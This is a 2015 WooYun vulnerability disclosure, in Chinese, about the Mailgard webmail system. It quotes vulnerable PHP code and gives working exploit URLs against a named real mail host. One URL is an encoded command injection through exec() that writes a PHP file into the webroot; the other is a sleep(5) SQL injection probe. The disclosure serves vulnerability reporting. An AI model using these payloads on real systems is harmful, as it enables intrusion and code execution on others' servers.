当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104807

漏洞标题: 佑友mailgard webmail邮件系统sql注射和命令执行(需登录)

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-04-01 11:04

修复时间:2015-07-02 18:32

公开时间:2015-07-02 18:32

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-01: 细节已通知厂商并且等待厂商处理中
2015-04-03: 厂商已经确认,细节仅向厂商公开
2015-04-06: 细节向第三方安全合作伙伴开放
2015-05-28: 细节向核心白帽子及相关领域专家公开
2015-06-07: 细节向普通白帽子公开
2015-06-17: 细节向实习白帽子公开
2015-07-02: 细节向公众公开

简要描述:

某邮件系统sql注射和命令执行

详细说明:

mailgard webmail:
show_mail.php:

require_once('../global.php');
//获取参数信息
$t_get_sd = urldecode($_GET['sd']);
$_GET['sd'] = strlen($_GET['sd']) > strlen($t_get_sd) ? $t_get_sd : $_GET['sd'];
list($box_name,$uid) = explode(':', $_GET['sd']);
$box_name = ($box_name);
$get_sd = urlencode($box_name). ":" .$uid;
if(strpos($_COOKIE['my_referer'],'box_list.php?sd=hicommail_search')!==false){
if(strpos($_COOKIE['my_referer'],'&labelMail=1')!==false){
$label = 'star';
$label2 = 'star2';
}else{
$label = 'search';
$label2 = 'search2';
}
}
if($_GET['delMove']){
//移动、删除和标记星标动作,会把搜索和星标的id会话记录清空
//防止清空:记录到另一个只在show_mail.php页面使用的会话
if($_SESSION['H_MAILS'][$label]['box:uid']){
$_SESSION['H_MAILS'][$label2]['box:uid'] = $_SESSION['H_MAILS'][$label]['box:uid'];
}

if($_GET['delMove']=='delete' && $box_name=='Trash' || $_GET['delMove']=='shiftdelete'){
select_mailbox($connection,$box_name);
$deleted = mail_flags($connection,'\\Deleted','+',$uid);
}else{
if($_GET['delMove']=='delete' && $box_name!='Trash'){
$toBox = 'Trash';
}elseif($_GET['delMove']=='move'){
$toBox = $_GET['toBoxName'];
}
if($gDoveadm ==='0'){
$toBox = mb_convert_encoding($toBox, 'UTF-8', 'UTF7-IMAP');
$boxnm = mb_convert_encoding($box_name, 'UTF-8', 'UTF7-IMAP');
exec("sudo /usr/bin/doveadm move -u ".$gMyAccounts." '".$toBox."' MAILBOX '".$boxnm."' UID ".$uid);


找到一个用户登录:
发送url:
http://mail.iconergy.com:889/src/show_mail.php?sd=aaaa%253A%2520%2526%2520echo%2520%2527%253C%253Fphp%2520phpinfo%2528%2529%253F%253E%2527%2520%253E%2520%252fvar%252fwww%252fnewmail%252fccc.php&delMove=move&toBoxName=yyy
访问:
http://mail.iconergy.com:889/bbb.php
sql注射地方:
write_mail.php:

require_once('../global.php');
$filetime = time();
$defAllUFSize = $defAllUFId = 0;
$defImgsVal = $defFilesVal = '';
$defUFSUnit = $defAllUFSize.' B';
$dir = HM_ROOT.$gSubTmpUploadDir;
if(!is_dir($dir)){
@mkdir($dir,0722,true);//逐层检查创建0700权限
}
if($_GET['manId']){
$to = getLinkmanByManid($_GET['manId']);


跟进去getLinkmanByManid 看看:

/* 
* 写邮件
*/
function getLinkmanByManid($manId){
global $db,$gMyAccounts;
$linkSql = "SELECT * FROM `linkman` WHERE `man_id` IN ($manId) ORDER BY `sort` ";
$linkResult = $db->query($linkSql);
while ($linkRs=$db->fetch_array ($linkResult)) {
$rs[] = $linkRs['name'] ? '"'.$linkRs['name'].'" <'.$linkRs['mail_addr'].'>' : $linkRs['mail_addr'];
}
if($rs){
$rs = implode(';',$rs);
}else{
$rs = '';
}
return $rs;
}


直接请求:
http://mail.iconergy.com:889/src/write_mail.php?manId=sleep(5)
造成延迟 这里构造sql就不多说了

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-04-03 18:31

厂商回复:

CNVD确认并复现所述情况,已经由CNVD通过网站公开联系方式(或以往建立的处置渠道)向网站管理单位(软件生产厂商)通报。

最新状态:

暂无